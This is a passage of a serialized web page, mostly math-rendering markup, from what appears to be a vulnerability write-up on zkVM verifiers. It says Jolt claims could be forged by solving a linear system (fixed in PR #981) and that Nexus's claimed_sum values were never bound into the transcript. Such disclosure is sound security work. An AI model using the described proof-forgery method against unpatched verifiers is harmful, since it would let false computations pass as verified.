115686,115690,115695,115700,115704],{"type":23,"tag":314,"props":115687,"children":115689},{"className":115688,"style":114354},[3258],[],{"type":23,"tag":314,"props":115691,"children":115693},{"className":115692},[3264,20825],[115694],{"type":28,"value":31},{"type":23,"tag":314,"props":115696,"children":115698},{"className":115697},[3376],[115699],{"type":28,"value":3379},{"type":23,"tag":314,"props":115701,"children":115703},{"className":115702,"style":3383},[3344],[],{"type":23,"tag":314,"props":115705,"children":115707},{"className":115706},[3264,20825],[115708],{"type":28,"value":2477},{"type":28,"value":115710}," are determined by the transcript (independent of ",{"type":23,"tag":94,"props":115712,"children":115714},{"className":115713},[3237,3238],[115715],{"type":23,"tag":314,"props":115716,"children":115718},{"className":115717},[3243],[115719],{"type":23,"tag":314,"props":115720,"children":115722},{"className":115721,"ariaHidden":1481},[3248],[115723],{"type":23,"tag":314,"props":115724,"children":115726},{"className":115725},[3253],[115727,115731],{"type":23,"tag":314,"props":115728,"children":115730},{"className":115729,"style":20820},[3258],[],{"type":23,"tag":314,"props":115732,"children":115734},{"className":115733,"style":92533},[3264,20825],[115735],{"type":28,"value":92536},{"type":28,"value":115737},"). The verifier checks that ",{"type":23,"tag":94,"props":115739,"children":115741},{"className":115740},[3237,3238],[115742],{"type":23,"tag":314,"props":115743,"children":115745},{"className":115744},[3243],[115746],{"type":23,"tag":314,"props":115747,"children":115749},{"className":115748,"ariaHidden":1481},[3248],[115750,115836],{"type":23,"tag":314,"props":115751,"children":115753},{"className":115752},[3253],[115754,115758,115823,115827,115832],{"type":23,"tag":314,"props":115755,"children":115757},{"className":115756,"style":110296},[3258],[],{"type":23,"tag":314,"props":115759,"children":115761},{"className":115760},[3264],[115762,115767],{"type":23,"tag":314,"props":115763,"children":115765},{"className":115764,"style":21357},[3264,20825],[115766],{"type":28,"value":115528},{"type":23,"tag":314,"props":115768,"children":115770},{"className":115769},[3280],[115771],{"type":23,"tag":314,"props":115772,"children":115774},{"className":115773},[3285,20879],[115775,115812],{"type":23,"tag":314,"props":115776,"children":115778},{"className":115777},[3290],[115779,115807],{"type":23,"tag":314,"props":115780,"children":115782},{"className":115781,"style":115544},[3295],[115783],{"type":23,"tag":314,"props":115784,"children":115785},{"style":115548},[115786,115790],{"type":23,"tag":314,"props":115787,"children":115789},{"className":115788,"style":3305},[3304],[],{"type":23,"tag":314,"props":115791,"children":115793},{"className":115792},[3310,3311,3312,3313],[115794],{"type":23,"tag":314,"props":115795,"children":115797},{"className":115796},[3264,3313],[115798],{"type":23,"tag":314,"props":115799,"children":115801},{"className":115800},[3264,28,3313],[115802],{"type":23,"tag":314,"props":115803,"children":115805},{"className":115804},[3264,3313],[115806],{"type":28,"value":115571},{"type":23,"tag":314,"props":115808,"children":115810},{"className":115809},[20982],[115811],{"type":28,"value":20985},{"type":23,"tag":314,"props":115813,"children":115815},{"className":115814},[3290],[115816],{"type":23,"tag":314,"props":115817,"children":115819},{"className":115818,"style":92382},[3295],[115820],{"type":23,"tag":314,"props":115821,"children":115822},{},[],{"type":23,"tag":314,"props":115824,"children":115826},{"className":115825,"style":3442},[3344],[],{"type":23,"tag":314,"props":115828,"children":115830},{"className":115829},[3447],[115831],{"type":28,"value":1102},{"type":23,"tag":314,"props":115833,"children":115835},{"className":115834,"style":3442},[3344],[],{"type":23,"tag":314,"props":115837,"children":115839},{"className":115838},[3253],[115840,115844,115854,115859],{"type":23,"tag":314,"props":115841,"children":115843},{"className":115842,"style":93712},[3258],[],{"type":23,"tag":314,"props":115845,"children":115847},{"className":115846},[3264,28],[115848],{"type":23,"tag":314,"props":115849,"children":115851},{"className":115850},[3264],[115852],{"type":28,"value":115853},"expected",{"type":23,"tag":314,"props":115855,"children":115857},{"className":115856,"style":92299},[3264],[115858],{"type":28,"value":2338},{"type":23,"tag":314,"props":115860,"children":115862},{"className":115861},[3264,28],[115863],{"type":23,"tag":314,"props":115864,"children":115866},{"className":115865},[3264],[115867],{"type":28,"value":36797},{"type":28,"value":115869}," (from PCS opening), this becomes ",{"type":23,"tag":94,"props":115871,"children":115873},{"className":115872},[3237,3238],[115874],{"type":23,"tag":314,"props":115875,"children":115877},{"className":115876},[3243],[115878],{"type":23,"tag":314,"props":115879,"children":115881},{"className":115880,"ariaHidden":1481},[3248],[115882,115908,115934,115960],{"type":23,"tag":314,"props":115883,"children":115885},{"className":115884},[3253],[115886,115890,115895,115899,115904],{"type":23,"tag":314,"props":115887,"children":115889},{"className":115888,"style":114382},[3258],[],{"type":23,"tag":314,"props":115891,"children":115893},{"className":115892},[3264,20825],[115894],{"type":28,"value":31},{"type":23,"tag":314,"props":115896,"children":115898},{"className":115897,"style":3345},[3344],[],{"type":23,"tag":314,"props":115900,"children":115902},{"className":115901},[3350],[115903],{"type":28,"value":110561},{"type":23,"tag":314,"props":115905,"children":115907},{"className":115906,"style":3345},[3344],[],{"type":23,"tag":314,"props":115909,"children":115911},{"className":115910},[3253],[115912,115916,115921,115925,115930],{"type":23,"tag":314,"props":115913,"children":115915},{"className":115914,"style":114411},[3258],[],{"type":23,"tag":314,"props":115917,"children":115919},{"className":115918,"style":92533},[3264,20825],[115920],{"type":28,"value":92536},{"type":23,"tag":314,"props":115922,"children":115924},{"className":115923,"style":3345},[3344],[],{"type":23,"tag":314,"props":115926,"children":115928},{"className":115927},[3350],[115929],{"type":28,"value":1130},{"type":23,"tag":314,"props":115931,"children":115933},{"className":115932,"style":3345},[3344],[],{"type":23,"tag":314,"props":115935,"children":115937},{"className":115936},[3253],[115938,115942,115947,115951,115956],{"type":23,"tag":314,"props":115939,"children":115941},{"className":115940,"style":92214},[3258],[],{"type":23,"tag":314,"props":115943,"children":115945},{"className":115944},[3264,20825],[115946],{"type":28,"value":2477},{"type":23,"tag":314,"props":115948,"children":115950},{"className":115949,"style":3442},[3344],[],{"type":23,"tag":314,"props":115952,"children":115954},{"className":115953},[3447],[115955],{"type":28,"value":1102},{"type":23,"tag":314,"props":115957,"children":115959},{"className":115958,"style":3442},[3344],[],{"type":23,"tag":314,"props":115961,"children":115963},{"className":115962},[3253],[115964,115968,115977,115982],{"type":23,"tag":314,"props":115965,"children":115967},{"className":115966,"style":93712},[3258],[],{"type":23,"tag":314,"props":115969,"children":115971},{"className":115970},[3264,28],[115972],{"type":23,"tag":314,"props":115973,"children":115975},{"className":115974},[3264],[115976],{"type":28,"value":115853},{"type":23,"tag":314,"props":115978,"children":115980},{"className":115979,"style":92299},[3264],[115981],{"type":28,"value":2338},{"type":23,"tag":314,"props":115983,"children":115985},{"className":115984},[3264,28],[115986],{"type":23,"tag":314,"props":115987,"children":115989},{"className":115988},[3264],[115990],{"type":28,"value":36797},{"type":28,"value":282},{"type":23,"tag":24,"props":115993,"children":115994},{},[115995],{"type":28,"value":115996},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":24,"props":115998,"children":115999},{},[116000],{"type":28,"value":116001},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":24,"props":116003,"children":116004},{},[116005,116010,116012],{"type":23,"tag":721,"props":116006,"children":116007},{},[116008],{"type":28,"value":116009},"Status:",{"type":28,"value":116011}," Fixed on October 3, 2025 via ",{"type":23,"tag":31,"props":116013,"children":116016},{"href":116014,"rel":116015},"https://github.com/a16z/jolt/pull/981",[35],[116017],{"type":28,"value":116018},"PR #981",{"type":23,"tag":18031,"props":116020,"children":116021},{},[],{"type":23,"tag":837,"props":116023,"children":116025},{"id":116024},"nexus",[116026],{"type":28,"value":107118},{"type":23,"tag":24,"props":116028,"children":116029},{},[116030],{"type":28,"value":116031},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":24,"props":116033,"children":116034},{},[116035,116037,116042],{"type":28,"value":116036},"Nexus splits verification into ",{"type":23,"tag":721,"props":116038,"children":116039},{},[116040],{"type":28,"value":116041},"components",{"type":28,"value":116043}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":24,"props":116045,"children":116046},{},[116047,116049,116054],{"type":28,"value":116048},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":94,"props":116050,"children":116052},{"className":116051},[],[116053],{"type":28,"value":114163},{"type":28,"value":116055}," summarizes its net contribution:",{"type":23,"tag":24,"props":116057,"children":116058},{},[116059],{"type":23,"tag":94,"props":116060,"children":116062},{"className":116061},[3237,3238],[116063],{"type":23,"tag":314,"props":116064,"children":116066},{"className":116065},[3243],[116067],{"type":23,"tag":314,"props":116068,"children":116070},{"className":116069,"ariaHidden":1481},[3248],[116071,116167,116416],{"type":23,"tag":314,"props":116072,"children":116074},{"className":116073},[3253],[116075,116079,116088,116093,116154,116158,116163],{"type":23,"tag":314,"props":116076,"children":116078},{"className":116077,"style":93712},[3258],[],{"type":23,"tag":314,"props":116080,"children":116082},{"className":116081},[3264,28],[116083],{"type":23,"tag":314,"props":116084,"children":116086},{"className":116085},[3264],[116087],{"type":28,"value":113392},{"type":23,"tag":314,"props":116089,"children":116091},{"className":116090,"style":92299},[3264],[116092],{"type":28,"value":2338},{"type":23,"tag":314,"props":116094,"children":116096},{"className":116095},[3264],[116097,116106],{"type":23,"tag":314,"props":116098,"children":116100},{"className":116099},[3264,28],[116101],{"type":23,"tag":314,"props":116102,"children":116104},{"className":116103},[3264],[116105],{"type":28,"value":75884},{"type":23,"tag":314,"props":116107,"children":116109},{"className":116108},[3280],[116110],{"type":23,"tag":314,"props":116111,"children":116113},{"className":116112},[3285,20879],[116114,116143],{"type":23,"tag":314,"props":116115,"children":116117},{"className":116116},[3290],[116118,116138],{"type":23,"tag":314,"props":116119,"children":116121},{"className":116120,"style":92828},[3295],[116122],{"type":23,"tag":314,"props":116123,"children":116124},{"style":113429},[116125,116129],{"type":23,"tag":314,"props":116126,"children":116128},{"className":116127,"style":3305},[3304],[],{"type":23,"tag":314,"props":116130,"children":116132},{"className":116131},[3310,3311,3312,3313],[116133],{"type":23,"tag":314,"props":116134,"children":116136},{"className":116135},[3264,20825,3313],[116137],{"type":28,"value":2993},{"type":23,"tag":314,"props":116139,"children":116141},{"className":116140},[20982],[116142],{"type":28,"value":20985},{"type":23,"tag":314,"props":116144,"children":116146},{"className":116145},[3290],[116147],{"type":23,"tag":314,"props":116148,"children":116150},{"className":116149,"style":92382},[3295],[116151],{"type":23,"tag":314,"props":116152,"children":116153},{},[],{"type":23,"tag":314,"props":116155,"children":116157},{"className":116156,"style":3442},[3344],[],{"type":23,"tag":314,"props":116159,"children":116161},{"className":116160},[3447],[116162],{"type":28,"value":1102},{"type":23,"tag":314,"props":116164,"children":116166},{"className":116165,"style":3442},[3344],[],{"type":23,"tag":314,"props":116168,"children":116170},{"className":116169},[3253],[116171,116176,116233,116237,116403,116407,116412],{"type":23,"tag":314,"props":116172,"children":116175},{"className":116173,"style":116174},[3258],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":314,"props":116177,"children":116179},{"className":116178},[20861],[116180,116185],{"type":23,"tag":314,"props":116181,"children":116183},{"className":116182,"style":20868},[20861,20866,20867],[116184],{"type":28,"value":108094},{"type":23,"tag":314,"props":116186,"children":116188},{"className":116187},[3280],[116189],{"type":23,"tag":314,"props":116190,"children":116192},{"className":116191},[3285,20879],[116193,116222],{"type":23,"tag":314,"props":116194,"children":116196},{"className":116195},[3290],[116197,116217],{"type":23,"tag":314,"props":116198,"children":116200},{"className":116199,"style":113506},[3295],[116201],{"type":23,"tag":314,"props":116202,"children":116203},{"style":20892},[116204,116208],{"type":23,"tag":314,"props":116205,"children":116207},{"className":116206,"style":3305},[3304],[],{"type":23,"tag":314,"props":116209,"children":116211},{"className":116210},[3310,3311,3312,3313],[116212],{"type":23,"tag":314,"props":116213,"children":116215},{"className":116214,"style":113522},[3264,20825,3313],[116216],{"type":28,"value":7909},{"type":23,"tag":314,"props":116218,"children":116220},{"className":116219},[20982],[116221],{"type":28,"value":20985},{"type":23,"tag":314,"props":116223,"children":116225},{"className":116224},[3290],[116226],{"type":23,"tag":314,"props":116227,"children":116229},{"className":116228,"style":113537},[3295],[116230],{"type":23,"tag":314,"props":116231,"children":116232},{},[],{"type":23,"tag":314,"props":116234,"children":116236},{"className":116235,"style":3383},[3344],[],{"type":23,"tag":314,"props":116238,"children":116240},{"className":116239},[3264],[116241,116245,116399],{"type":23,"tag":314,"props":116242,"children":116244},{"className":116243},[20954,112817],[],{"type":23,"tag":314,"props":116246,"children":116248},{"className":116247},[112822],[116249],{"type":23,"tag":314,"props":116250,"children":116252},{"className":116251},[3285,20879],[116253,116387],{"type":23,"tag":314,"props":116254,"children":116256},{"className":116255},[3290],[116257,116382],{"type":23,"tag":314,"props":116258,"children":116260},{"className":116259,"style":112835},[3295],[116261,116351,116362],{"type":23,"tag":314,"props":116262,"children":116263},{"style":112839},[116264,116268],{"type":23,"tag":314,"props":116265,"children":116267},{"className":116266,"style":111470},[3304],[],{"type":23,"tag":314,"props":116269,"children":116271},{"className":116270},[3310,3311,3312,3313],[116272],{"type":23,"tag":314,"props":116273,"children":116275},{"className":116274},[3264,3313],[116276,116281,116286],{"type":23,"tag":314,"props":116277,"children":116279},{"className":116278,"style":112856},[3264,20825,3313],[116280],{"type":28,"value":112859},{"type":23,"tag":314,"props":116282,"children":116284},{"className":116283},[3350,3313],[116285],{"type":28,"value":3324},{"type":23,"tag":314,"props":116287,"children":116289},{"className":116288},[3264,3313],[116290,116300],{"type":23,"tag":314,"props":116291,"children":116293},{"className":116292},[3264,28,3313],[116294],{"type":23,"tag":314,"props":116295,"children":116297},{"className":116296},[3264,3313],[116298],{"type":28,"value":116299},"produced",{"type":23,"tag":314,"props":116301,"children":116303},{"className":116302},[3280],[116304],{"type":23,"tag":314,"props":116305,"children":116307},{"className":116306},[3285,20879],[116308,116339],{"type":23,"tag":314,"props":116309,"children":116311},{"className":116310},[3290],[116312,116334],{"type":23,"tag":314,"props":116313,"children":116316},{"className":116314,"style":116315},[3295],"height:0.2052em;",[116317],{"type":23,"tag":314,"props":116318,"children":116320},{"style":116319},"top:-2.2341em;margin-right:0.0714em;",[116321,116325],{"type":23,"tag":314,"props":116322,"children":116324},{"className":116323,"style":108159},[3304],[],{"type":23,"tag":314,"props":116326,"children":116328},{"className":116327},[3310,108164,108165,3313],[116329],{"type":23,"tag":314,"props":116330,"children":116332},{"className":116331,"style":113522},[3264,20825,3313],[116333],{"type":28,"value":7909},{"type":23,"tag":314,"props":116335,"children":116337},{"className":116336},[20982],[116338],{"type":28,"value":20985},{"type":23,"tag":314,"props":116340,"children":116342},{"className":116341},[3290],[116343],{"type":23,"tag":314,"props":116344,"children":116347},{"className":116345,"style":116346},[3295],"height:0.4048em;",[116348],{"type":23,"tag":314,"props":116349,"children":116350},{},[],{"type":23,"tag":314,"props":116352,"children":116353},{"style":112872},[116354,116358],{"type":23,"tag":314,"props":116355,"children":116357},{"className":116356,"style":111470},[3304],[],{"type":23,"tag":314,"props":116359,"children":116361},{"className":116360,"style":112882},[112881],[],{"type":23,"tag":314,"props":116363,"children":116364},{"style":112886},[116365,116369],{"type":23,"tag":314,"props":116366,"children":116368},{"className":116367,"style":111470},[3304],[],{"type":23,"tag":314,"props":116370,"children":116372},{"className":116371},[3310,3311,3312,3313],[116373],{"type":23,"tag":314,"props":116374,"children":116376},{"className":116375},[3264,3313],[116377],{"type":23,"tag":314,"props":116378,"children":116380},{"className":116379},[3264,3313],[116381],{"type":28,"value":3267},{"type":23,"tag":314,"props":116383,"children":116385},{"className":116384},[20982],[116386],{"type":28,"value":20985},{"type":23,"tag":314,"props":116388,"children":116390},{"className":116389},[3290],[116391],{"type":23,"tag":314,"props":116392,"children":116395},{"className":116393,"style":116394},[3295],"height:0.6283em;",[116396],{"type":23,"tag":314,"props":116397,"children":116398},{},[],{"type":23,"tag":314,"props":116400,"children":116402},{"className":116401},[20976,112817],[],{"type":23,"tag":314,"props":116404,"children":116406},{"className":116405,"style":3345},[3344],[],{"type":23,"tag":314,"props":116408,"children":116410},{"className":116409},[3350],[116411],{"type":28,"value":3324},{"type":23,"tag":314,"props":116413,"children":116415},{"className":116414,"style":3345},[3344],[],{"type":23,"tag":314,"props":116417,"children":116419},{"className":116418},[3253],[116420,116424,116481,116485],{"type":23,"tag":314,"props":116421,"children":116423},{"className":116422,"style":113731},[3258],[],{"type":23,"tag":314,"props":116425,"children":116427},{"className":116426},[20861],[116428,116433],{"type":23,"tag":314,"props":116429,"children":116431},{"className":116430,"style":20868},[20861,20866,20867],[116432],{"type":28,"value":108094},{"type":23,"tag":314,"props":116434,"children":116436},{"className":116435},[3280],[116437],{"type":23,"tag":314,"props":116438,"children":116440},{"className":116439},[3285,20879],[116441,116470],{"type":23,"tag":314,"props":116442,"children":116444},{"className":116443},[3290],[116445,116465],{"type":23,"tag":314,"props":116446,"children":116448},{"className":116447,"style":112971},[3295],[116449],{"type":23,"tag":314,"props":116450,"children":116451},{"style":20892},[116452,116456],{"type":23,"tag":314,"props":116453,"children":116455},{"className":116454,"style":3305},[3304],[],{"type":23,"tag":314,"props":116457,"children":116459},{"className":116458},[3310,3311,3312,3313],[116460],{"type":23,"tag":314,"props":116461,"children":116463},{"className":116462,"style":93728},[3264,20825,3313],[116464],{"type":28,"value":87936},{"type":23,"tag":314,"props":116466,"children":116468},{"className":116467},[20982],[116469],{"type":28,"value":20985},{"type":23,"tag":314,"props":116471,"children":116473},{"className":116472},[3290],[116474],{"type":23,"tag":314,"props":116475,"children":116477},{"className":116476,"style":113786},[3295],[116478],{"type":23,"tag":314,"props":116479,"children":116480},{},[],{"type":23,"tag":314,"props":116482,"children":116484},{"className":116483,"style":3383},[3344],[],{"type":23,"tag":314,"props":116486,"children":116488},{"className":116487},[3264],[116489,116493,116643],{"type":23,"tag":314,"props":116490,"children":116492},{"className":116491},[20954,112817],[],{"type":23,"tag":314,"props":116494,"children":116496},{"className":116495},[112822],[116497],{"type":23,"tag":314,"props":116498,"children":116500},{"className":116499},[3285,20879],[116501,116632],{"type":23,"tag":314,"props":116502,"children":116504},{"className":116503},[3290],[116505,116627],{"type":23,"tag":314,"props":116506,"children":116508},{"className":116507,"style":112835},[3295],[116509,116596,116607],{"type":23,"tag":314,"props":116510,"children":116511},{"style":112839},[116512,116516],{"type":23,"tag":314,"props":116513,"children":116515},{"className":116514,"style":111470},[3304],[],{"type":23,"tag":314,"props":116517,"children":116519},{"className":116518},[3310,3311,3312,3313],[116520],{"type":23,"tag":314,"props":116521,"children":116523},{"className":116522},[3264,3313],[116524,116529,116534],{"type":23,"tag":314,"props":116525,"children":116527},{"className":116526,"style":112856},[3264,20825,3313],[116528],{"type":28,"value":112859},{"type":23,"tag":314,"props":116530,"children":116532},{"className":116531},[3350,3313],[116533],{"type":28,"value":3324},{"type":23,"tag":314,"props":116535,"children":116537},{"className":116536},[3264,3313],[116538,116548],{"type":23,"tag":314,"props":116539,"children":116541},{"className":116540},[3264,28,3313],[116542],{"type":23,"tag":314,"props":116543,"children":116545},{"className":116544},[3264,3313],[116546],{"type":28,"value":116547},"consumed",{"type":23,"tag":314,"props":116549,"children":116551},{"className":116550},[3280],[116552],{"type":23,"tag":314,"props":116553,"children":116555},{"className":116554},[3285,20879],[116556,116585],{"type":23,"tag":314,"props":116557,"children":116559},{"className":116558},[3290],[116560,116580],{"type":23,"tag":314,"props":116561,"children":116563},{"className":116562,"style":111631},[3295],[116564],{"type":23,"tag":314,"props":116565,"children":116566},{"style":113876},[116567,116571],{"type":23,"tag":314,"props":116568,"children":116570},{"className":116569,"style":108159},[3304],[],{"type":23,"tag":314,"props":116572,"children":116574},{"className":116573},[3310,108164,108165,3313],[116575],{"type":23,"tag":314,"props":116576,"children":116578},{"className":116577,"style":93728},[3264,20825,3313],[116579],{"type":28,"value":87936},{"type":23,"tag":314,"props":116581,"children":116583},{"className":116582},[20982],[116584],{"type":28,"value":20985},{"type":23,"tag":314,"props":116586,"children":116588},{"className":116587},[3290],[116589],{"type":23,"tag":314,"props":116590,"children":116592},{"className":116591,"style":113903},[3295],[116593],{"type":23,"tag":314,"props":116594,"children":116595},{},[],{"type":23,"tag":314,"props":116597,"children":116598},{"style":112872},[116599,116603],{"type":23,"tag":314,"props":116600,"children":116602},{"className":116601,"style":111470},[3304],[],{"type":23,"tag":314,"props":116604,"children":116606},{"className":116605,"style":112882},[112881],[],{"type":23,"tag":314,"props":116608,"children":116609},{"style":112886},[116610,116614],{"type":23,"tag":314,"props":116611,"children":116613},{"className":116612,"style":111470},[3304],[],{"type":23,"tag":314,"props":116615,"children":116617},{"className":116616},[3310,3311,3312,3313],[116618],{"type":23,"tag":314,"props":116619,"children":116621},{"className":116620},[3264,3313],[116622],{"type":23,"tag":314,"props":116623,"children":116625},{"className":116624},[3264,3313],[116626],{"type":28,"value":3267},{"type":23,"tag":314,"props":116628,"children":116630},{"className":116629},[20982],[116631],{"type":28,"value":20985},{"type":23,"tag":314,"props":116633,"children":116635},{"className":116634},[3290],[116636],{"type":23,"tag":314,"props":116637,"children":116639},{"className":116638,"style":113951},[3295],[116640],{"type":23,"tag":314,"props":116641,"children":116642},{},[],{"type":23,"tag":314,"props":116644,"children":116646},{"className":116645},[20976,112817],[],{"type":23,"tag":24,"props":116648,"children":116649},{},[116650,116652,116657],{"type":28,"value":116651},"All ",{"type":23,"tag":94,"props":116653,"children":116655},{"className":116654},[],[116656],{"type":28,"value":114163},{"type":28,"value":116658}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":24,"props":116660,"children":116661},{},[116662,116664,116669],{"type":28,"value":116663},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":721,"props":116665,"children":116666},{},[116667],{"type":28,"value":116668},"OODS (Out-of-Domain Sampling)",{"type":28,"value":116670}," test.",{"type":23,"tag":24,"props":116672,"children":116673},{},[116674],{"type":23,"tag":721,"props":116675,"children":116676},{},[116677],{"type":28,"value":114715},{"type":23,"tag":304,"props":116679,"children":116681},{"code":116680},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[116682],{"type":23,"tag":94,"props":116683,"children":116684},{"__ignoreMap":7},[116685],{"type":28,"value":116680},{"type":23,"tag":24,"props":116687,"children":116688},{},[116689,116691,116696],{"type":28,"value":116690},"The",{"type":23,"tag":94,"props":116692,"children":116694},{"className":116693},[],[116695],{"type":28,"value":114163},{"type":28,"value":116697}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":24,"props":116699,"children":116700},{},[116701],{"type":23,"tag":197,"props":116702,"children":116705},{"alt":116703,"src":116704},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":24,"props":116707,"children":116708},{},[116709,116711,116720],{"type":28,"value":116710},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":721,"props":116712,"children":116713},{},[116714,116715],{"type":28,"value":111170},{"type":23,"tag":94,"props":116716,"children":116718},{"className":116717},[],[116719],{"type":28,"value":114163},{"type":28,"value":3746},{"type":23,"tag":24,"props":116722,"children":116723},{},[116724],{"type":28,"value":116725},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":24,"props":116727,"children":116728},{},[116729],{"type":23,"tag":94,"props":116730,"children":116732},{"className":116731},[3237,3238],[116733],{"type":23,"tag":314,"props":116734,"children":116736},{"className":116735},[3243],[116737],{"type":23,"tag":314,"props":116738,"children":116740},{"className":116739,"ariaHidden":1481},[3248],[116741,116782,116921],{"type":23,"tag":314,"props":116742,"children":116744},{"className":116743},[3253],[116745,116749,116754,116759,116764,116769,116773,116778],{"type":23,"tag":314,"props":116746,"children":116748},{"className":116747,"style":3365},[3258],[],{"type":23,"tag":314,"props":116750,"children":116752},{"className":116751,"style":21357},[3264,20825],[116753],{"type":28,"value":115528},{"type":23,"tag":314,"props":116755,"children":116757},{"className":116756},[20954],[116758],{"type":28,"value":341},{"type":23,"tag":314,"props":116760,"children":116762},{"className":116761},[3264,20825],[116763],{"type":28,"value":18514},{"type":23,"tag":314,"props":116765,"children":116767},{"className":116766},[20976],[116768],{"type":28,"value":431},{"type":23,"tag":314,"props":116770,"children":116772},{"className":116771,"style":3442},[3344],[],{"type":23,"tag":314,"props":116774,"children":116776},{"className":116775},[3447],[116777],{"type":28,"value":1102},{"type":23,"tag":314,"props":116779,"children":116781},{"className":116780,"style":3442},[3344],[],{"type":23,"tag":314,"props":116783,"children":116785},{"className":116784},[3253],[116786,116790,116847,116851,116908,116912,116917],{"type":23,"tag":314,"props":116787,"children":116789},{"className":116788,"style":114932},[3258],[],{"type":23,"tag":314,"props":116791,"children":116793},{"className":116792},[20861],[116794,116799],{"type":23,"tag":314,"props":116795,"children":116797},{"className":116796,"style":20868},[20861,20866,20867],[116798],{"type":28,"value":108094},{"type":23,"tag":314,"props":116800,"children":116802},{"className":116801},[3280],[116803],{"type":23,"tag":314,"props":116804,"children":116806},{"className":116805},[3285,20879],[116807,116836],{"type":23,"tag":314,"props":116808,"children":116810},{"className":116809},[3290],[116811,116831],{"type":23,"tag":314,"props":116812,"children":116814},{"className":116813,"style":113506},[3295],[116815],{"type":23,"tag":314,"props":116816,"children":116817},{"style":20892},[116818,116822],{"type":23,"tag":314,"props":116819,"children":116821},{"className":116820,"style":3305},[3304],[],{"type":23,"tag":314,"props":116823,"children":116825},{"className":116824},[3310,3311,3312,3313],[116826],{"type":23,"tag":314,"props":116827,"children":116829},{"className":116828},[3264,20825,3313],[116830],{"type":28,"value":2993},{"type":23,"tag":314,"props":116832,"children":116834},{"className":116833},[20982],[116835],{"type":28,"value":20985},{"type":23,"tag":314,"props":116837,"children":116839},{"className":116838},[3290],[116840],{"type":23,"tag":314,"props":116841,"children":116843},{"className":116842,"style":113786},[3295],[116844],{"type":23,"tag":314,"props":116845,"children":116846},{},[],{"type":23,"tag":314,"props":116848,"children":116850},{"className":116849,"style":3383},[3344],[],{"type":23,"tag":314,"props":116852,"children":116854},{"className":116853},[3264],[116855,116860],{"type":23,"tag":314,"props":116856,"children":116858},{"className":116857,"style":114387},[3264,20825],[116859],{"type":28,"value":114390},{"type":23,"tag":314,"props":116861,"children":116863},{"className":116862},[3280],[116864],{"type":23,"tag":314,"props":116865,"children":116867},{"className":116866},[3285,20879],[116868,116897],{"type":23,"tag":314,"props":116869,"children":116871},{"className":116870},[3290],[116872,116892],{"type":23,"tag":314,"props":116873,"children":116875},{"className":116874,"style":92828},[3295],[116876],{"type":23,"tag":314,"props":116877,"children":116878},{"style":115022},[116879,116883],{"type":23,"tag":314,"props":116880,"children":116882},{"className":116881,"style":3305},[3304],[],{"type":23,"tag":314,"props":116884,"children":116886},{"className":116885},[3310,3311,3312,3313],[116887],{"type":23,"tag":314,"props":116888,"children":116890},{"className":116889},[3264,20825,3313],[116891],{"type":28,"value":2993},{"type":23,"tag":314,"props":116893,"children":116895},{"className":116894},[20982],[116896],{"type":28,"value":20985},{"type":23,"tag":314,"props":116898,"children":116900},{"className":116899},[3290],[116901],{"type":23,"tag":314,"props":116902,"children":116904},{"className":116903,"style":92382},[3295],[116905],{"type":23,"tag":314,"props":116906,"children":116907},{},[],{"type":23,"tag":314,"props":116909,"children":116911},{"className":116910,"style":3345},[3344],[],{"type":23,"tag":314,"props":116913,"children":116915},{"className":116914},[3350],[116916],{"type":28,"value":110561},{"type":23,"tag":314,"props":116918,"children":116920},{"className":116919,"style":3345},[3344],[],{"type":23,"tag":314,"props":116922,"children":116924},{"className":116923},[3253],[116925,116929,116991,116996,117001],{"type":23,"tag":314,"props":116926,"children":116928},{"className":116927,"style":3365},[3258],[],{"type":23,"tag":314,"props":116930,"children":116932},{"className":116931},[3264],[116933,116943],{"type":23,"tag":314,"props":116934,"children":116936},{"className":116935},[3264,28],[116937],{"type":23,"tag":314,"props":116938,"children":116940},{"className":116939},[3264],[116941],{"type":28,"value":116942},"constraint",{"type":23,"tag":314,"props":116944,"children":116946},{"className":116945},[3280],[116947],{"type":23,"tag":314,"props":116948,"children":116950},{"className":116949},[3285,20879],[116951,116980],{"type":23,"tag":314,"props":116952,"children":116954},{"className":116953},[3290],[116955,116975],{"type":23,"tag":314,"props":116956,"children":116958},{"className":116957,"style":92828},[3295],[116959],{"type":23,"tag":314,"props":116960,"children":116961},{"style":113429},[116962,116966],{"type":23,"tag":314,"props":116963,"children":116965},{"className":116964,"style":3305},[3304],[],{"type":23,"tag":314,"props":116967,"children":116969},{"className":116968},[3310,3311,3312,3313],[116970],{"type":23,"tag":314,"props":116971,"children":116973},{"className":116972},[3264,20825,3313],[116974],{"type":28,"value":2993},{"type":23,"tag":314,"props":116976,"children":116978},{"className":116977},[20982],[116979],{"type":28,"value":20985},{"type":23,"tag":314,"props":116981,"children":116983},{"className":116982},[3290],[116984],{"type":23,"tag":314,"props":116985,"children":116987},{"className":116986,"style":92382},[3295],[116988],{"type":23,"tag":314,"props":116989,"children":116990},{},[],{"type":23,"tag":314,"props":116992,"children":116994},{"className":116993},[20954],[116995],{"type":28,"value":341},{"type":23,"tag":314,"props":116997,"children":116999},{"className":116998},[3264,20825],[117000],{"type":28,"value":18514},{"type":23,"tag":314,"props":117002,"children":117004},{"className":117003},[20976],[117005],{"type":28,"value":431},{"type":23,"tag":24,"props":117007,"children":117008},{},[117009,117011,117016,117018,117023],{"type":28,"value":117010},"Since each constraint is linear in its 